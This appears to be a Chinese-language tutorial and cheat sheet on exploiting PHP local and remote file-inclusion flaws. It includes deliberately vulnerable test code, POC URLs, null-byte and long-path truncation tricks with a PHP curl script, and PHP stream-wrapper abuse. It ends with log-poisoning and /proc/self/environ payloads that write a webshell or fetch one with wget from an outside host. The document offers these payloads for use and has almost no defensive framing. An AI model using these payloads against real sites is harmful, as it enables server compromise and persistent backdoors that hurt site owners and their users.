本地包含
普通本地包含
只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行。
测试代码
<?php include_once($_GET['f']); ?>
POC
http://127.0.0.1/test/123.php?f=test.txt
截断本地包含
截断方法
因为服务器代码规定了后缀,所以不能为所欲为的包含文件。
%00截断
在Magic_quote_gpc为off的情况下才可以使用
利用方法就是这样
http://127.0.0.1/test/123.php?f=test.txt%00
长文件名截断
因为windows和linux的文件名长度是有限制的,超过其长度的会被忽略
通常情况下windows的截断长度为260,linux的长度为4096,这一不用在意具体长度,只要把需要截断的字符串挤到后面就可以了
windows在文件名后加/. 或 \.都是可以的
测试用的代码
<?php
// 1. 初始化
$ch = curl_init();
// 2. 设置选项,包括URL
$a='';
for($i=0;$i<126;$i++){
$a .= '/.';
}
$url="http://127.0.0.1/test/123.php?f=test.txt".$a;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
// 3. 执行并获取HTML文档内容
$output = curl_exec($ch);
// 4. 释放curl句柄
curl_close($ch);
?>
测试代码
<?php include_once($_GET['f'].".php"); ?>
POC
http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````
远程包含
必须是allow_url_include=On的时候才能使用,不过他在默认情况下是关闭的。
普通远程包含
用法和本地包含一样,只需要把本地路径换成url即可
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt
截断远程包含
截断方法
问号截断法
url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
POC
这几个POC大多都与PHP的wrapper有关,详情可以看这里
http://www.php.net/manual/en/wrappers.php.php
涉及到allow_url_fopen 和 allow_url_include 这两个设置,后者php.ini里面没有,需要自行添加。
详细设置在这里
http://php.net/manual/zh/filesystem.configuration.php
data:// 或者 php://input 可以在这allow_url_include关闭的情况下包含自定义数据,不过两种方法只在5.0以下是有效的,
之后的版本include就会报错了,比较可惜。
普通利用
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
php://input
这个是php的输入流,可以读到没有处理过的POST数据
这样测试时的确可以取到完整的POST数据
$raw = file_get_contents('php://input','r');
echo $raw;
这样在allow_url_include=Off会报错了
include_once("php://input");
php://filter
利用主要是利用了resource和vonvert,这样可以读取到php的代码。
@readfile("php://filter/convert.base64-encode/resource=test.txt");
这样也是可以的
@readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的状况和php://input类似
data URIs
情况和以上两种一样,在低版本才能发挥效果
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
php://fd
这个在5.3.6中增加的新wrapper,据说可以绕过allow_url_include进行包含。
全局变量覆盖型包含
这个我没仔细研究啦····哈哈哈~
利用技巧
Apache错误日志上传一句话
这个技巧解决了,本地包含不能上传马的问题,还是利用熟悉的Apache错误日志。
首先在配置文件中找到Apache日志的存放目录ErrorLog ../logs/apache_error.log
http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
之后构造一个错误的访问,使其被记录到日志中,这里注意浏览器会自动给url里面的字符编码,这里需要用其他方式模拟提交
http://127.0.0.1/test/<?php echo hacked ?>
最后包含日志文件,之前写入的php代码就会被执行
有的时候日志文件太大导致页面无相应,可以写入这一句,实际写入时不要忘记加转义符
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?php echo hacked ?>");fclose($fp);?>
之后包含日志文件,一句话就被写到了/www/shell.php这个目录
Linux环境变量包含一句话
原理是包含/proc/self/environ,这里会有用户访问web的session信息,其中也会包含user-agent的参数,
这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的,
所以说想个办法修改user-agen,比如修改成
<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然后提交一个,包含/proc/self/environ的请求就可以了。
session文件包含一句话
这个没有仔细研究,详情看这里
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
这个很厉害回头研究
http://zone.wooyun.org/content/2196?1176